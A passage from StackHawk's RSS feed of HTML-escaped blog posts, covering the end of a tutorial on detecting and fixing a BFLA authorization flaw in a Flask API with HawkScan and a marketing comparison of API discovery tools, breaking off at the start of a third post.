&lt;b&gt;HawkScan Settings&lt;/b&gt;, click the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown and select the &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy.&lt;/p&gt;&lt;p&gt;At this point, you can then run HawkScan and begin detecting potential BFLA vulnerabilities. Of course, another way to do this is to simply customize an existing policy to scan for BFLA vulnerabilities. To show how this can be done, we can navigate to the same &lt;b&gt;HawkScan Settings&lt;/b&gt; section that we looked at above. From here, we will select the &amp;quot;&lt;b&gt;OpenAPI/REST API&lt;/b&gt;&amp;quot; policy from the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown.&lt;/p&gt;&lt;p&gt;Next, click the &lt;b&gt;Edit Policy&lt;/b&gt; button right beside the dropdown.&lt;/p&gt;&lt;p&gt;On the next screen, under the &lt;b&gt;Plugins and Tests&lt;/b&gt; section, click on the &lt;b&gt;BFLA&lt;/b&gt; entry to enable HawkScan to execute tests for potential BFLA vulnerabilities.&lt;/p&gt;&lt;p&gt;Now, with our application set up in StackHawk, our stackhawk.xml has been added to the root of our API project, and BFLA detection has been enabled, we can finally test our application.&lt;/p&gt;&lt;h3&gt;Run HawkScan&lt;/h3&gt;&lt;p&gt;To test our application, in a terminal pointing to the root of our project, we will run HawkScan using the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;hawk scan&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After running the command, the tests should execute in the terminal.&lt;/p&gt;&lt;p&gt;This will run tests against our API based on the OpenAPI spec using the &lt;b&gt;OpenAPI Spider&lt;/b&gt; provided by StackHawk.&lt;/p&gt;&lt;h3&gt;Explore The Initial Findings&lt;/h3&gt;&lt;p&gt;Once the tests are complete, the terminal will contain some information about any vulnerabilities found. Below, we can see that it has identified the BFLA vulnerability that we introduced in the code. To explore this further, we will click on the test link at the bottom of the output. This will take us into the StackHawk platform to explore further.&lt;/p&gt;&lt;p&gt;After clicking on the link, we can now see the test results nicely formatted. Next, we will click the &lt;b&gt;Possible Broken Function-Level Authorization (BFLA) &lt;/b&gt;entry.&lt;/p&gt;&lt;p&gt;Within this entry, we can see an &lt;b&gt;Overview&lt;/b&gt; and &lt;b&gt;Resources&lt;/b&gt; that can help us with fixing this vulnerability as well as the &lt;b&gt;Request&lt;/b&gt; and &lt;b&gt;Response&lt;/b&gt; that the API returned. Above this, you will also see a &lt;b&gt;Validate&lt;/b&gt; button, displaying a cURL command with the exact API request used to expose the vulnerability.&lt;/p&gt;&lt;h3&gt;Fixing The BFLA Vulnerability&lt;/h3&gt;&lt;p&gt;To fix the BFLA vulnerability in the Flask API, you must implement authentication and authorization checks. This will ensure that users can only access the endpoints that their role permits. In this case, we will look up the database for the user, return their role, and then do the authorization check. This will be done within the `&lt;b&gt;authenticate_and_authorize&lt;/b&gt;` function/decorator in the code below.&lt;/p&gt;&lt;p&gt;For simplicity, I&amp;#39;ll demonstrate a basic version of these checks. In a real-world application, you can use more robust authentication and authorization mechanisms and platforms like Auth0 or Okta to control access and handle credential creation.&lt;/p&gt;&lt;p&gt;In the code, we will now use PyJWT to check out various aspects of the JWT to authenticate and authorize the user. To install this dependency, run the following in the terminal:

&lt;code&gt;&lt;b&gt;pip install PyJWT&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, to remedy the BFLA vulnerability in the code itself, update your &lt;b&gt;app.py&lt;/b&gt; with the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code creates a method we will attach to the endpoint. In this code, we will extract the JWT from the &lt;b&gt;Authorization&lt;/b&gt; header, then we will read the “sub” claim, which contains the user&amp;#39;s ID. We then retrieve the user&amp;#39;s role and ensure that their role is “admin” before granting them access to the endpoint. This is a straightforward implementation that will need to be bulked up for production use cases, but it gets the point across. &lt;b&gt;Of course, the JWT Secret is extremely simple since it is just for demonstration purposes. In a production system, you’ll want to have a longer and more complex key that is not directly defined in the code!&lt;/b&gt;&lt;/p&gt;&lt;p&gt;We will then add the code below, adding the &lt;b&gt;@authenticate_and_authorize&lt;/b&gt; decorator to the &lt;b&gt;PUT&lt;/b&gt; route and overwriting the existing route logic that does not require auth.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In this code, we are simply adding one thing to the &lt;b&gt;PUT&lt;/b&gt; endpoint in our &lt;b&gt;UserResource&lt;/b&gt; class: the &lt;b&gt;@authorize_and_authenticate &lt;/b&gt;line, which adds the function we implemented above into the processing of the API request and making sure the user is authenticated and authorized to access the endpoint.&lt;/p&gt;&lt;p&gt;Overall, once these changes are added, the end-to-end code will now look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once the code has been updated on your side, you can stop the currently running server (by using &lt;b&gt;ctrl + C&lt;/b&gt; in the terminal) and restart it with the new code using:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;flask run –port=4000&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The app should now be up and running with the updated code!&lt;/p&gt;&lt;h3&gt;Confirm the fix!&lt;/h3&gt;&lt;p&gt;With the latest code, users must send a JWT along with their request in the &lt;b&gt;Authorization&lt;/b&gt; header. The code will then extract the &lt;b&gt;sub&lt;/b&gt; field, retrieve the user&amp;#39;s &lt;b&gt;role&lt;/b&gt; from the database, and then check to ensure they have the admin access needed to perform the function they are trying to do. In the &lt;a href=&quot;https://jwt.io/&quot;&gt;JWT.io&lt;/a&gt; debugger, this is how such a token would look:
&lt;/p&gt;&lt;p&gt;Now, let’s confirm the fix in StackHawk. We will click the &lt;b&gt;Rescan Findings&lt;/b&gt; button back in StackHawk to do this.&lt;/p&gt;&lt;p&gt;Then, we will see a modal containing the &lt;b&gt;“hawk rescan” &lt;/b&gt;command that includes the correct&lt;b&gt; Scan ID&lt;/b&gt;. You’ll run this command in the same terminal where you ran the initial set of tests.&lt;/p&gt;&lt;p&gt;In the output, you will again see any vulnerabilities in the scan. In this case, you’ll see that the BFLA vulnerability is no longer showing. Clicking on the link at the bottom of the terminal output, you can confirm that the BFLA vulnerability has now been added to the &lt;b&gt;Fixed Findings from Previous Scan&lt;/b&gt;, confirming that the vulnerability has been successfully fixed and has passed any vulnerability tests.&lt;/p&gt;&lt;p&gt;With that, we’ve successfully remedied and retested our API to ensure its safety from potential BFLA attacks. Please remember that the code above is for demonstration purposes and that adding robust, production-grade authorization to an API endpoint is much more involved than we implemented above. Using an API gateway, Role-based Access Control (RBAC), and identity provider, such as Auth0, is one of the best ways to prevent BFLA and secure your APIs from unauthorized use.&lt;/p&gt;&lt;h2&gt;Why StackHawk?&lt;/h2&gt;&lt;p&gt;When it comes to preventing vulnerabilities, such as BFLA, StackHawk offers a comprehensive platform for developers to secure their applications and APIs. StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans:&lt;/b&gt; Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In this blog, we have looked deeply into the complexities of Broken Function Level Authorization (BFLA) vulnerabilities. We unpacked the essence of BFLA, revealing how it emerges from insufficient authorization checks, allowing attackers to access functions beyond their permissions. The discussion illuminated the root causes, mainly seen through the lack of validation and authorization in API requests. We looked into understanding BFLA&amp;#39;s mechanics and the significance of adopting a defense strategy encompassing strong authorization checks, RBAC, and a zero-trust approach, among other security best practices.&lt;/p&gt;&lt;p&gt;From a practical perspective, we looked at how to identify a BFLA vulnerability within a Flask application using StackHawk, a cutting-edge Dynamic Application Security Testing (DAST) tool designed for developers. By integrating security testing directly into the development workflow, StackHawk pinpointed the BFLA vulnerability and provided actionable insights to remediate it effectively. Through a simple example, we showcased the power of adding authentication and authorization middleware to secure API endpoints against unauthorized access, thus mitigating the BFLA threat we introduced in the original code.&lt;/p&gt;&lt;p&gt;Embracing StackHawk in your development cycle equips your team with the necessary tools and insights to tackle security vulnerabilities, including BFLA, preemptively. This approach not only enhances the security posture of your applications but also fosters a culture of security mindfulness among developers. Experience firsthand how StackHawk&amp;#39;s seamless integration and developer-centric solutions can transform your application security testing workflow, ensuring your applications are robust against common API threats outlined in the OWASP API Security Top 10. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up for a free trial&lt;/a&gt; of StackHawk today and join the ranks of proactive developers who are “shifting left” and making API security an integral part of their development process with StackHawk.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Discover the Best API Discovery Tools in 2024]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/discover-the-best-api-discovery-tools-in-2024</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Selecting the right API discovery tools plays a huge role in API integration, API management, and many other areas where understanding your entire API portfolio is critical. These tools can help ensure that every API connected to your organization is discovered and cataloged, which is a major part of ensuring that APIs are secure. Without understanding every aspect of your organization&amp;#39;s APIs, it&amp;#39;s hard to keep them compliant, secure, and well-utilized.&lt;/p&gt;&lt;p&gt;This guide will examine how API discovery can streamline many parts of your workflow. We will demystify and compare the top API discovery tools available in 2024, discover their advantages and use cases, and cut through the noise to give you the answers you need to figure out which tools will suit you best for discovering APIs within your ecosystem. Let&amp;#39;s begin by looking at API discovery tools and how they work.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Navigating the World of API Discovery Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API discovery involves understanding an API&amp;#39;s efficiencies and real-time functionalities, typically done through various methods. This includes a mix of manual and automated tasks, with the end goal of identifying what APIs an organization has under its umbrella to accelerate app development by understanding the API capabilities. Of course, from the security perspective, API discovery helps to identify how data flows throughout the various APIs, which can help identify any gaps that could lead to a security vulnerability. With the help of a discovery API, organizations can take a crucial step to manage and harness the power of APIs efficiently.&lt;/p&gt;&lt;p&gt;API discovery tools help by:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;pinpointing and managing all the APIs in your digital systems&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;empowering developers to comprehend and utilize existing APIs, eliminating the need to create new ones&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;conserving time and promoting efficient integration&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;catering to different cybersecurity needs, including a proactive approach to API security&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Defining API Discovery Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API stands for Application Programming Interface, which details how software components should interact. RESTful APIs are the most familiar style for modern web application programming interfaces, allowing data to be sent and received between systems, most frequently between a front and backend application. On the other hand, API discovery is the process of identifying and cataloging the APIs present within an organization. Think of automated API discovery tools as a librarian designed to automatically locate, document, and construct a catalog of an organization’s APIs. The primary objective of an API Discovery feature is to construct a centralized repository or catalog that lists all APIs, guaranteeing easy discovery and efficient utilization.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Role of API Discovery in Digital Transformation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When it comes to digital transformation initiatives, they often involve the integration of new software and services. In many of these transformation initiatives, APIs serve as the key enablers of this integration. APIs are essential for the connectivity between different systems and services, as they allow for the sharing of functionalities and data.&lt;/p&gt;&lt;p&gt;API discovery tools offer an automated method for recognizing and cataloging APIs throughout the enterprise. These tools aid in comprehending the functionalities of various APIs so that API consumers can understand where and how they may be able to use a particular API. By informing developers about available APIs, API discovery can promote integration and usage of these APIs within software projects. By leveraging these API catalogs and discovery, businesses can optimize the use of their existing APIs for new purposes, enhancing the efficiency of their digital transformation efforts.&lt;/p&gt;&lt;p&gt;Especially in the cases where APIs have not been documented well or vast portfolios of APIs exist, API discovery can significantly influence digital transformation by allowing organizations to swiftly identify and integrate with multiple systems through the available APIs found through the API discovery tool.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Unveiling Top API Discovery Solutions&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As we explore the realm of API discovery, it’s vital to recognize the tools that are at the forefront. These tools help to automate and make the API discovery process very efficient. Choosing the right API discovery tool can be daunting, given the many options available. However, understanding the criteria for selecting an API discovery tool can enable you to make an informed decision to ensure the selected tool matches your particular needs. In this section, we’ll look at the leading API discovery solutions and discuss the factors to consider when choosing a tool to fit your use case.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Criteria for Selecting an API Discovery Tool&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Although many tools and features are available, we can boil down core functionalities to look for in four categories: automation, integration, security, and ease of use. These critical factors need to be considered when selecting an API discovery tool. Let&amp;#39;s take a look at these four pillars in more depth:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automation&lt;/b&gt;: A good API discovery tool helps automate the recognition of APIs in an organization. The tool&amp;#39;s automated processes should be configurable and allow you to dial in the discovery process as much as possible.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration capabilities&lt;/b&gt;: The tool should be able to integrate with existing systems and technologies within your stack.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security features&lt;/b&gt;: The tool should have robust security features to protect sensitive data and prevent unauthorized access. The tool may also help you identify any security issues within the APIs it discovers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Ease of use&lt;/b&gt;: The tool should be user-friendly and easy to navigate. Configuration and deployment should be seamless and not require much effort to initiate the discovery process.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;At a high level, these factors will help you choose the right API discovery tool based on your needs, with very simple criteria to follow. Most API discovery tools are bundled as features within wider platforms, whether an API security tool or an API management platform. So, you should also ensure that the platform&amp;#39;s other features also fit your use case/technology stack and check if there are other features you could leverage as well.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Highlighting Industry-Leading API Discovery Software&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API discovery solutions are relatively abundant; however, not all these tools are created equally. Several tools stand out due to their robust features and user-friendly interfaces. Let&amp;#39;s take a quick look at the range of powerful tools that can streamline API management and security with API discovery capabilities. Here are a few leading solutions to be aware of:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;StackHawk:&lt;/b&gt; StackHawk couples its well-established DAST (Dynamic Application Security Testing) capabilities with API discovery. This combination offers a powerful toolset for identifying and securing your API landscape.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Salt Security:&lt;/b&gt; This platform emphasizes proactive security measures, including real-time analysis and prevention of API attacks. It offers seamless integration capabilities to fit within existing environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Noname Security:&lt;/b&gt; Dedicated to comprehensive asset security, this tool covers various aspects such as API discovery, posture management, runtime protection, and security testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Memcyco: &lt;/b&gt;This solution goes beyond traditional API discovery to actively prevent website spoofing fraud and safeguard online brand reputation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;APIsec: &lt;/b&gt;Focused on robust security mechanisms and thorough monitoring, this solution aids organizations in identifying and mitigating risks associated with shadow APIs. It integrates well with platforms like AWS API Gateway for streamlined protection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Wallarm: &lt;/b&gt;This platform prioritizes API security with comprehensive monitoring, protection features, and assistance in discovering and managing shadow APIs, contributing to enhanced overall security posture.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Of course, this is just a small selection of many of the API discovery tools available on the market. Choosing the right tool depends on your specific security needs, integration requirements, and the size/complexity of your API ecosystem.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Enhancing API Security Through Discovery Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to the benefits that API discovery tools bring to an organization, their contribution towards enhancing API security is definitely up high on the list. API discovery involves recognizing all APIs, including those that are concealed or overlooked. By making sure that every available API is discovered and cataloged, API discovery tools can help guarantee comprehensive security and lessen the risk of cyber threats. By understanding an organization&amp;#39;s entire API portfolio, teams can work more effectively to safeguard digital assets by identifying all APIs and ensuring they adhere to security standards. Knowing all active APIs is critical for ensuring they are continuously monitored and protected, enhancing overall security since if an undocumented API has a security issue, it likely will not be found until it is exploited.&lt;/p&gt;&lt;p&gt;Three particular types of APIs can degrade an organization&amp;#39;s security posture: &lt;b&gt;shadow&lt;/b&gt;, &lt;b&gt;zombie&lt;/b&gt;, and &lt;b&gt;rogue&lt;/b&gt; APIs. Let&amp;#39;s examine all three in more detail to understand what they are and how they can impact security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Identifying and Securing Shadow APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Shadow APIs lurk within organizations and are created outside of any official oversight. While often well-intentioned, these APIs can widen your attack surface, lacking the security, documentation, and monitoring that centrally managed APIs typically have. API discovery tools are your key to uncovering them. By scanning network traffic, API gateways, and even code bases, they reveal APIs that might slip past traditional security measures.&lt;/p&gt;&lt;p&gt;Once you know a shadow API exists, you&amp;#39;ll want to enforce the API standards across your organization within the API, conduct regular audits, and potentially implement API observability to monitor API calls to the endpoint. Finally, put those shadow APIs through the same rigorous security testing (with tools like StackHawk) that you would apply to any production API if you plan to keep them available.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Preventing Zombie and Rogue API Risks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Old, outdated zombie APIs and intentionally malicious rogue APIs both pose serious risks. Advanced API discovery tools can help you pinpoint these threats by analyzing API usage patterns and looking for anomalies that indicate trouble. Spikes in API traffic from unusual places, strange user-agent strings, or unexpected activity after hours can all be signs of an attack in progress.&lt;/p&gt;&lt;p&gt;When it comes to remedying these issues, deprecate zombie APIs in a controlled manner, giving developers time to update their code. Decisively block any suspected rogue APIs immediately while investigating further. Education is also key—make sure your developers understand the dangers and best practices to avoid accidentally creating these kinds of risky APIs and exposing them as potential attack vectors.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Leveraging API Discovery for Developer Productivity&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API discovery tools are an essential element in the developer’s toolkit. These tools and the knowledge they bring to developers about an organization&amp;#39;s API landscape can help developers find existing APIs that meet their needs, speeding up development processes and reducing duplicated efforts. API discovery tools foster collaboration between teams by making APIs easily discoverable, allowing developers to quickly identify who to contact regarding a specific API.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Facilitating Easy Access to API Documentation and Catalogs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Proper documentation of APIs, detailing their functionality, endpoints, authentication methods, and response examples, is crucial for developers to understand and properly utilize APIs. To fully leverage the APIs, developers must access API specifications, such as input/output formats, authentication requirements, and rate limits or quotas.&lt;/p&gt;&lt;p&gt;Once APIs are discovered and cataloged, API documentation tools can efficiently generate and maintain API documentation, ensuring consistency, accuracy, and comprehension for the developers using the API. They also facilitate collaborative efforts by allowing developers to share, review, and edit documentation seamlessly, minimizing the need for frequent direct communication.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Boosting Collaboration Across Development Teams&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs support collaborative development by allowing real-time access to data and functionality, which is essential for decision-making and aligning team efforts. When it comes to organizations using a microservice-oriented approach, APIs can offer clear contracts for services, enhancing their usability. The double-edged sword of microservice APIs is that they generally have a large footprint regarding the number of APIs available across an organization. This is where API discovery can help teams keep track of all APIs within the microservice ecosystem for more close-knit collaboration.&lt;/p&gt;&lt;p&gt;This collaborative approach enhances the efficiency of the development process and fosters a sense of ownership and accountability among team members, while API discovery tools help to ensure that every API is accounted for and documented.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Evolution of API Discovery: From Manual to Automatic&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The world of API discovery has undergone a remarkable transformation. In the early days, finding and understanding available APIs was labor-intensive. Developers often resorted to internet searches or relied on potentially outdated documentation, spending massive amounts of effort and time to discover and understand the APIs they wanted to use. Although users may have known that an API existed, there may not have been any documentation or easy way to confirm its existence or how to consume it.&lt;/p&gt;&lt;p&gt;This landscape changed as APIs themselves evolved. The move from SOAP-based (Simple Object Access Protocol) web services, with their reliance on descriptive files like WSDL, to the flexible world of REST APIs and the OpenAPI specification created opportunities for innovation in discovery. No longer bound by strict definitions, APIs could be more dynamic, demanding new tools to uncover them. Compound this with the number of new APIs being introduced daily; manual methods were no longer feasible for API discovery.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Shift from Manual to Automated Processes&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The transition from manual API discovery to streamlined automation marks a turning point. Automated tools don&amp;#39;t just save time; they transform how we interact with APIs. By actively scanning network traffic and code repositories and even using pattern-matching heuristics, these tools reveal a comprehensive view of your API landscape. This heightened awareness is crucial for effective management, security, and innovation. Many tools can compound the insights retained from API discovery tools with other parts of their platform, such as how StackHawk can use API discovery to identify all endpoints and then test them for security flaws with its DAST (Dynamic Application Security Testing) capabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Embracing Automation for Enhanced API Visibility&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Fully embracing automated API discovery tools grants us unprecedented visibility into complex API ecosystems. Imagine a continuously updated map of every API in your organization, highlighting not just what exists but how APIs are used, who interacts with them, and the sensitivity of the data involved. This visibility is a game-changer. It helps proactively uncover forgotten &amp;quot;zombie APIs&amp;quot; that might still expose data and alerts you to a developer&amp;#39;s well-intentioned but potentially insecure shadow API. With this knowledge, developers and their organizations can take decisive action: tighten security, streamline processes, and drive better API design and management.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;StackHawk + API Discovery&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;StackHawk customers repeatedly see the power of our API security testing – the comprehensive coverage, the seamless CI/CD integration, and that feeling of confidence. But there&amp;#39;s a catch, a recurring challenge: they&amp;#39;re often only securing a fraction of their APIs. Our analysis reveals a worrying truth: many security teams are in the dark about a huge chunk of their attack surface. It&amp;#39;s nobody&amp;#39;s fault; software moves fast, and security often struggles to keep pace. The way we test and manage APIs needs to come up to speed.&lt;/p&gt;&lt;p&gt;That&amp;#39;s why we built API Discovery Powered by HawkAI. It&amp;#39;s the missing piece in the API security puzzle. Think of it as a spotlight in the dark, revealing hidden APIs that attackers could exploit. With this newfound knowledge, you can extend the same rigorous testing and automation you rely on with StackHawk to the entirety of your API landscape. No more blind spots, no more surprises, just the control every security team needs and deserves.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Discovery – Understanding Your Attack Surface&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Modern software development is inherently complex, making it challenging for security teams to pinpoint all the &amp;quot;things&amp;quot; in software applications they need to test. At StackHawk, we believe that Source Code is the Source of Truth, and HawkAI takes an inside-out approach, empowering developers and AppSec teams to achieve security and speed. Here&amp;#39;s how it works:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Effortless Integration:&lt;/b&gt; Connect your code repositories to StackHawk.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;AI-Powered Identification:&lt;/b&gt; HawkAI utilizes intelligent algorithms to identify repositories containing running applications and APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Attack Surface Defined:&lt;/b&gt; Uncover previously unknown APIs and gain a comprehensive view of your attack surface.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Progress Tracking:&lt;/b&gt; Monitor your progress toward achieving complete API coverage.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Observability – Keeping Pace with Change&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Once you have a handle on your assets, how do you ensure your security processes keep up with constant code changes? StackHawk adds further functionality to improve your security posture with the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Monitoring:&lt;/b&gt; HawkAI tracks how often code is deployed to your assets and compares it to your testing frequency.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Policy Alignment:&lt;/b&gt; Identify discrepancies between your security policies and actual testing coverage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Success Support:&lt;/b&gt; We&amp;#39;re here to help your security team refine its program and maximize its effectiveness.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;StackHawk goes beyond traditional API discovery tools, pairing discovery with our powerful, API-focused DAST capabilities. This means newfound security doesn&amp;#39;t just stay on paper—you can immediately test those discoveries, ensuring your organization&amp;#39;s security posture is truly strengthened.&lt;/p&gt;&lt;p&gt;HawkAI digs deeper than just finding APIs. It bridges the gap between security and development teams. Discover an untested asset? HawkAI pinpoints the developer who last touched it, enabling direct collaboration for rapid understanding and action. No more security roadblocks, just streamlined processes that get APIs secured quickly.&lt;/p&gt;&lt;p&gt;At StackHawk, we believe AI isn&amp;#39;t just a buzzword. It&amp;#39;s a tool to empower security and developers to prioritize what matters most: secure, high-quality software. HawkAI embodies this by delivering a comprehensive API discovery solution that doesn&amp;#39;t just find problems; it helps you solve them – quickly.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are the backbone of modern software, but their vast numbers and the rapid pace of development make it difficult to know what you have and keep it all secure. In this blog, we covered:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;What API discovery is and how it works&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Benefits for security, developer productivity, and digital transformation&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Top tools and how to choose the right one&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;The shift from manual to automated discovery&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Lastly, we took a look at StackHawk&amp;#39;s latest API discovery capabilities and how StackHawk&amp;#39;s new API Discovery Powered by HawkAI goes beyond traditional tools:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Illuminates your entire attack surface:&lt;/b&gt; Uncover shadow, zombie, and rogue APIs with AI-powered insights.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Bridges the dev-security gap:&lt;/b&gt; Collaborate directly with developers to secure newly discovered APIs quickly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secures at the speed of development:&lt;/b&gt; Seamless API discovery and our best-in-class DAST ensure your security keeps pace with innovation.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;StackHawk&amp;#39;s API Discovery Powered by HawkAI is currently in closed beta. Want to see it in action? &lt;a href=&quot;#request-a-demo&quot;&gt;Schedule a demo&lt;/a&gt; of StackHawk&amp;#39;s comprehensive API security platform.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How API Discovery Empowers AppSec Professionals and Fuels Innovation]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-api-discovery-empowers-appsec-professionals-and-fuels-innovation</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;As application security (AppSec) professionals, we understand the constant struggle to secure our ever-expanding digital landscapes. APIs often become blind spots, creating sleepless nights and doubts in our attack surface coverage. &lt;/p&gt;&lt;p&gt;But there is a solution— adopting a continuous &lt;b&gt;API discovery process&lt;/b&gt;. One that doesn’t involve manually tracking down API endpoints. &lt;/p&gt;&lt;h2&gt;Owning Your API Attack Surface&lt;/h2&gt;&lt;p&gt;Imagine a world where:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Audits Become a Breeze:&lt;/b&gt; No more scrambling to identify in-scope APIs. A comprehensive inventory streamlines security 